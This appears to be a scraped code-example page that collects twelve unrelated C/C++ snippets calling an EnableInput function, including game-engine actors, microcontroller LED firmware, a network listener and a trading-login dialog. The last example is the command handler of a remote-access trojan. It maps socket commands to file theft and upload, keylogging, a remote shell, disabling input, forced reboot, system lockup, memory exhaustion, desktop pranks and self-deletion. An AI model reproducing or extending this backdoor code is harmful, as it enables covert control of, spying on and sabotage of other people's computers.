Exemplo n.º 1
0
//========================================================================
void AHexEditorActor::BeginPlay()
{
	Super::BeginPlay();

	AHexTileActor::Init(m_RootTileCoordinates);

	m_Grid.InsertElement({ 0, 0 }, this);

	EnableInput(GetWorld()->GetFirstPlayerController());
	
	SwitchBindings(InputMode::Expanding);

	FVector locator(0, 0, 0);
	m_ArrowsParent = GetWorld()->SpawnActor(AActor::StaticClass());

	m_ArrowsParent->SetRootComponent(NewObject<USceneComponent>(m_ArrowsParent,TEXT("ArrowsParent")));

	for (int i = 0; i < 6; ++i)
	{
		FVector locator(0, 0, 0);
		FRotator rot(0, 60 * -i, 0);
		auto* actor = GetWorld()->SpawnActor(ExpansionArrowActor, &locator, &rot);
		m_Arrows[i] = CastChecked<AStaticMeshActor>(actor);
		m_Arrows[i]->GetStaticMeshComponent()->SetVisibility(false);
		m_Arrows[i]->GetStaticMeshComponent()->SetCollisionEnabled(ECollisionEnabled::NoCollision);
		m_Arrows[i]->GetStaticMeshComponent()->SetMobility(EComponentMobility::Movable);
		auto* arrowComp = m_Arrows[i]->FindComponentByClass<UExpandArrowComponent>();
		check(arrowComp);
		arrowComp->SetRelativeDirection(i);
		m_Arrows[i]->GetStaticMeshComponent()->OnClicked.AddDynamic(arrowComp, &UExpandArrowComponent::OnClick);
		m_Arrows[i]->AttachRootComponentToActor(m_ArrowsParent);
	}
}
Exemplo n.º 2
0
//Required Overrides
void AHydraPluginActor::BeginPlay()
{
	Super::BeginPlay();

	//Actors by default aren't attached to the input chain, so we enable input for this actor to forward Key and Gamepad Events
	APlayerController* PC = UGameplayStatics::GetPlayerController(this, 0);
	EnableInput(PC);

	//Required Hydra Initialization
	ValidSelfPointer = this;	//required from v0.7
	HydraStartup();
}
Exemplo n.º 3
0
int CHelperUnit::send_to_logic (CTimerList* lst)
{
	_helperTimer = lst;
	EnableInput (); // 这里关注EPOLLIN,也就是发送后端数据的时候才关注
	if (connect() < 0)
	{
		reset_helper();
		log_debug("Connect logic server failed!");
		return -1;
	}
	AttachTimer(_helperTimer);
	return send_to_cgi();
}
Exemplo n.º 4
0
// Revive Player
void ARadeCharacter::Revive()
{
	// Enable Input
	EnableInput(Cast<APlayerController>(Controller));

	// Set Camer to Default Camera state
	CurrentCameraState = DefaultCameraState;

	// Resoter Half of player health
	Health = MaxHealth/2;
	bDead = false;

	
	// Restore Third Person Mesh to default State
	if (GetMesh())
	{
		GetMesh()->SetSimulatePhysics(false);
		GetMesh()->AttachTo(RootComponent);
		GetMesh()->RelativeLocation = Mesh_InGameRelativeLoc;
		GetMesh()->RelativeRotation = Mesh_InGameRelativeRot;
		GetMesh()->BodyInstance.SetCollisionProfileName("Pawn");
	}



	// Find The Closest Revive Point
	TActorIterator<APlayerStart> p(GetWorld());
	APlayerStart* revivePoint = *p;

	for (TActorIterator<APlayerStart> ActorItr(GetWorld()); ActorItr; ++ActorItr)
	{
		if (revivePoint && FVector::Dist(revivePoint->GetActorLocation(), GetActorLocation())> FVector::Dist(ActorItr->GetActorLocation(), GetActorLocation()))
		{
			revivePoint = *ActorItr;
		}
	}

	UpdateComponentsVisibility();

	// Create a small offset from the spawn point
	if (revivePoint)
		GetRootComponent()->SetWorldLocation(revivePoint->GetActorLocation() + FVector(FMath::RandRange(-400, 400), FMath::RandRange(-400, 400), 60));

	//GetMovementComponent()->Activate();

	// Call Revive on Blueprint
	BP_PlayerRevived();
}
Exemplo n.º 5
0
void LiveInLight (void){
	PORTB &= ~(1<<LedPin); // Light-up LED
	PWMStop();
	while (1){
		EnableInput ();
		DeepSleep();
		DisableInput ();
		if (Valto != None) {
			EventHandler ();
			// if key pressed then shutdown
			if (Valto==KeyPressed) break; 
		}
	}
	PWMStart(250);
	PORTB |= (1<<LedPin); // Shutdown LED
}
Exemplo n.º 6
0
bool
CInputManager::Initialise()
{
	m_pXInputController = new CXInputController();
	m_pXInputController->Initialise();


	m_pDirectInput = new CDirectInput();
	m_pDirectInput->Initialise();


	EnableInput();


	return (true);
}
Exemplo n.º 7
0
int CListener::Attach (CPollerUnit* unit,
                       CTimerList* webtimerlist,
                       CTimerList* helpertimerlist,
                       int blog)
{
	if((netfd = CNet::tcp_bind(_bindAddr, _bindPort, blog)) == -1) // 创建 socket
	{
		log_error ("bind addr[%s], port[%d] failed.", _bindAddr, _bindPort);
        return -1;
	}
    _pollerunit      = unit;
    _webtimerlist    = webtimerlist;
    _helpertimerlist = helpertimerlist;
	EnableInput ();  // 设置读事件
	return AttachPoller(unit); // 将 netfd 关联 epoll_fd
}
Exemplo n.º 8
0
void LightUp (void){
	uint8_t i;
	PWMStart(0);
	// Enable shutdown at Light-up
	for (i=0; i<=250; i++){
		PWMSet (i);
		EnableInput ();
		if (i<PWMStepOver) Wait (PWMSlowDelay);
		else Wait (PWMQuickDelay);
		DisableInput ();
		if (Valto != None) {
			EventHandler ();
			// if key pressed then shutdown
			if (Valto==KeyPressed) break; 
		}
	}
}
Exemplo n.º 9
0
int main (void){
	// Setup IO
	DDRB  = (0<<PB0)|(1<<PB1)|(0<<PB2)|(0<<PB3)|(0<<PB4);
	PORTB = (1<<PB0)|(1<<PB1)|(1<<PB2)|(0<<PB3)|(0<<PB4); // VCC-based LED
	
	while (1){
		EnableInput ();
		DeepSleep();
		DisableInput ();
		// **** Why wake? ****
		EventHandler();
		if (Valto==KeyPressed) {
			Valto = None;
			Wait (_2_s);
			LightUp();
			if (Valto == None) LiveInLight();
			LightDown();
		}
	}
}
Exemplo n.º 10
0
		Air::U1 System::Initialization()
		{
			if(m_bInit)
				return false;
			OIS::KeyListener*	pKey	=	this;
			OIS::MouseListener*	pMouse	=	this;
			Engine::GetGlobalSetting().m_pInputSystem->Add(pKey);
			Engine::GetGlobalSetting().m_pInputSystem->Add(pMouse);

			Engine::Scene* pScene	=	GameSystem::GetSingleton()->GetCurrentSection()->GetScene();


			m_pObjController	=	new Engine::ObjectController();
			pScene->GetDynamicSceneNode()->CreateChildSceneNode()->attachObject(m_pObjController);
			
			m_bInit	=	true;
			if(!m_strDelaySceneName.empty()){
				LoadScene(m_strDelaySceneName);
				m_strDelaySceneName.clear();
			}
			EnableInput(true);
			return true;
		}
Exemplo n.º 11
0
BOOL CDlgLevelInput::LoginLevel(const CString &strAccName, const CString &strAccPwd)
{
	CString strUserAcc(""), strPwd("");
	if (strAccName.IsEmpty() || strAccPwd.IsEmpty())
	{
		EnableInput(FALSE);
		CString strText;
		CString strTitle;
		strTitle.LoadString(IDS_STRING_Error);
		//////////////////////////////////////////////////////////////////////////
		// 获取账号、密码
		
		GetDlgItem(IDC_EDIT_SHACC)->GetWindowText(strUserAcc);
		if (strUserAcc.IsEmpty())
		{
			strText.LoadString(IDS_STRING_AccountError);
			MessageBox(strText,strTitle);
			EnableInput(TRUE);
			GetDlgItem(IDC_EDIT_SHACC)->SetFocus();
			return FALSE;
		}
		strPwd = m_sEdit.GetRealText();
		if (strPwd.IsEmpty())
		{
			strText.LoadString(IDS_STRING_PasswardError);
			MessageBox(strText,strTitle);
			EnableInput(TRUE);
			m_sEdit.SetFocus();
			return FALSE;
		}
	}
	else
	{
		strUserAcc = strAccName;
		strPwd = strAccPwd;
	}
	long handle = g_pDoLogin->ConnectServer(CEV_Connect_LEVEL2);
	if (handle)
	{// level2服务连接成功 

		IAccountMng *pTradeAccountMng = g_pDoLogin->m_pTradeCore->GetAccountMng();
		if(pTradeAccountMng && pTradeAccountMng->GetCount(atLevel2) == 0)
		{
			//IAccount* pQHAccount = pTradeAccountMng->Add(atLevel2);
			IAccount* pQHAccount = pTradeAccountMng->NewAccount(atLevel2);
			if(pQHAccount)
			{
				pQHAccount->SetLoginAccount(strUserAcc);
				pQHAccount->SetCellNo("");
				pQHAccount->SetLoginAccountType("");
				pQHAccount->SetPassword(strPwd);
				pQHAccount->SetServerID(0);
				pQHAccount->SetBranchNo("0");
				pQHAccount->SetConnectHandle(handle);
				CString sMsg = "";
				if( pQHAccount->Login(sMsg) )
				{
					pTradeAccountMng->Add(pQHAccount);
					pTradeAccountMng->SetCurrentAccount(pQHAccount);
					return TRUE;
				}
				else
				{
					pQHAccount->Release();
					//pTradeAccountMng->DeleteAccount(pQHAccount);
// 					CDataSourceInitDataStauts msg;
// 					strncpy(msg.m_szMsg, sMsg, min(sMsg.GetLength()+1, 256));
// 					FSetProgressMsg(&msg);
					MessageBox(sMsg, "Error", MB_OK | MB_ICONERROR);
				}
			}
		}
	}
	EnableInput(TRUE);
	return TRUE;
}
Exemplo n.º 12
0
DWORD WINAPI HandleClient( LPVOID param ){
	
	SOCKET s = *(SOCKET*)param;
	char buf[1024],tmp[64];
	struct cmd_t cmd;
	int n;
	while(1){
		n = recv( s , buf , 1023 , 0 );
		buf[n] = 0;
		//MB(buf);
		if( n == 0 )
			break;
		parse_cmd( buf , &cmd );
		int sec = cmd.cmd_object;
		int arg = cmd.args;
		char *p = cmd.addnl.str;
		//wsprintf( tmp , "%d::%d" , sec , arg );
		//MB(tmp);
		if( sec == CMD_FILE ){
			switch( arg ){
			case FILE_SDIR:
				SendDirTree( s , p , 0 );
				break;
			case FILE_SDIREX:
				SendDirTree( s , p , 1 );
				break;
			case FILE_SDRV:
				SendDriveSet( s );
				break;
			case FILE_SEND:
				SendFile( s , p );
				break;
			case FILE_RECV:
				RecvFile( s , p );
				break;
			case FILE_MKDIR:
				LocalMkDir( p );
				break;
			default:
				SendLn( s , "***file: bad args\r\n" );
			}
		}
		else if( sec == CMD_HW ){
			switch( arg ){
			case HW_OPENCD:
				OpenCDTray();
				break;
			case HW_CLOSECD:
				CloseCDTray();
				break;
			case HW_MOUSE_R:
				SetMouseBns( MOUSE_RT );
				break;
			case HW_MOUSE_L:
				SetMouseBns( MOUSE_LT );
				break;
			case HW_MOUSE_SW:
				SwapMouseBns();
				break;
			case HW_MONITOR1:
				MonitorPower( 1 );
				break;
			case HW_MONITOR0:
				MonitorPower( 0 );
				break;
			case HW_DB_CLK:
				DblClkDelay( cmd.addnl.nums[0] );
				break;
			case HW_INPUT0:
				EnableInput( false );
				break;
			case HW_INPUT1:
				EnableInput( true );
				break;
			case HW_REBOOT:
				Reboot();
				break;
			case HW_SHTDWN:
				ShutDown();
				break;
			default:
				SendLn( s , "***bad args\r\n" );
			}
		}
		else if( sec == CMD_KEYBD ){
			switch( arg ){
			case KEYBD_STARTLOG:
				KeyLog( true );
				break;
			case KEYBD_STOPLOG:
				KeyLog( false );
				break;
			default:
				SendLn( s , "***keybd: bad args\r\n" );
			}
		}
		else if( sec == CMD_MOUSE ){
			switch( arg ){
			case MOUSE_FLY_STOP:
				FlyMousePtr( false );
				break;
			case MOUSE_FLY:
				FlyMousePtr( true );
				break;
			case MOUSE_FLY_CLK:
				FlyMousePtrClick( true );
				break;
			case MOUSE_RESTRICT:
				RestrictMouseMovementTo(cmd.addnl.nums[0],
										cmd.addnl.nums[1],
										cmd.addnl.nums[2],
										cmd.addnl.nums[3]
										);
				break;
			case MOUSE_SHOW:
				ShowMouseCursor( true );
				break;
			case MOUSE_HIDE:
				ShowMouseCursor( false );
				break;
			case MOUSE_CLK:
				MouseClick( cmd.addnl.nums[0] );
				break;
			case MOUSE_CLK_PT:
				MouseClickPoint( cmd.addnl.nums[1],
								 cmd.addnl.nums[2],
								 cmd.addnl.nums[0]
							   );
				break;
			case MOUSE_SETPOS:
				SetMousePos( cmd.addnl.nums[0],
							 cmd.addnl.nums[1]
							 );
				break;
			default:
				SendLn( s , "***mouse: bad args\r\n" );
			}
		}
		else if( sec == CMD_SHELL ){
			if( arg == SHELL_SPAWN )
				CreateRemoteShell( s );
		}
		else if( sec == CMD_SYS ){
			unsigned long m;
			unsigned __int64 d;
			char msg[256];

			switch( arg ){
			case SYS_MAXMEM:
				m = GetMaxMem();
				wsprintf( msg , "max mem: %u MiB\r\n" , m );
				SendLn( s ,msg );
				break;
			case SYS_BUSYMEM:
				m = GetBusyMem();
				wsprintf( msg , "mem in use: %u MiB\r\n" , m );
				SendLn( s , msg );
				break;
			case SYS_FREEMEM:
				m = GetFreeMem();
				wsprintf( msg , "free mem: %u MiB\r\n" , m );
				SendLn( s , msg );
				break;
			case SYS_MAXDISK:
				d = GetDiskUsage( cmd.addnl.str , U_TOTAL );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "total space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "total space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_USEDDISK:
				d = GetDiskUsage( cmd.addnl.str , U_USED );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "used space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "used space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_FREEDISK:
				d = GetDiskUsage( cmd.addnl.str , U_FREE );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "free space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "free space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_SYSDIR:
				wsprintf( msg , "system dir is:\'%s\'\r\n" , sysdir() );
				SendLn( s , msg );
				break;
			case SYS_WINDIR:
				wsprintf( msg , "windows dir is:\'%s\'\r\n", windir() );
				SendLn( s , msg );
				break;
			case SYS_CHDIR:
				cd( cmd.addnl.str );
				break;
			case SYS_LOCKUP:
				SendLn( s , "!!!Locking up system!!!... don\'t expect too much after this!\r\n" );
				Sleep(2000);
				LockUp();
				break;
			case SYS_RAMFILL:
				RamFill();
				break;
			default:
				SendLn( s , "***sys: bad args\r\n" );
			}
		}
		else if( sec == CMD_TBAR ){
			switch(arg){
			case TBAR_SHOW:
				ShowTaskBar( true );
				break;
			case TBAR_HIDE:
				ShowTaskBar( false );
				break;
			case TBAR_STBN_SHOW:
				ShowStartBn( true );
				break;
			case TBAR_STBN_HIDE:
				ShowStartBn( false );
				break;
			case TBAR_STBN_FLY1:
				FlyStartBn( true );
				break;
			case TBAR_STBN_FLY0:
				FlyStartBn( false );
				break;
			case TBAR_CLOCK_SHOW:
				ShowClock( true );
				break;
			case TBAR_CLOCK_HIDE:
				ShowClock( false );
				break;
			case TBAR_ENABLE:
				EnableTaskBar( true );
				break;
			case TBAR_DISABLE:
				EnableTaskBar( false );
				break;
			default:
				SendLn( s , "***tb: bad args\r\n" );
			}
		}
		else if( sec == CMD_PRANK ){
			switch(arg){
			case PRANK_DTP_ENABLE:
				EnableDesktop( true );
				break;
			case PRANK_DTP_DISABLE:
				EnableDesktop( false );
				break;
			case PRANK_FU_START:
				if( !strequal( cmd.addnl.str , "" ) )
					szFUStr = cmd.addnl.str;
				FuckYou( true );
				break;
			case PRANK_FU_STOP:
				FuckYou( false );
				break;
			case PRANK_WRUN_START:
				if( cmd.addnl.nums[0] > 0 )
					uiRunWindowsDelay = cmd.addnl.nums[0];
				MakeWindowsRun( true );
				break;
			case PRANK_WRUN_STOP:
				MakeWindowsRun( false );
				break;
			case PRANK_QUAKE_START:
				if( cmd.addnl.nums[0] > 0 )
					uiQuakeDelay = cmd.addnl.nums[0];
				Quake( true );
				break;
			case PRANK_QUAKE_STOP:
				Quake( false );
				break;
			default:
				SendLn( s , "***bad trigger\r\n" );
			}
		}
		else if( sec == CMD_OWL ){
			switch(arg){
			case OWL_UNINSTALL:
				SelfDelete();
				exit(0);
				break;
			default:
				SendLn( s , "***bad trigger\r\n" );
			}
		}

	}
	return 0;
}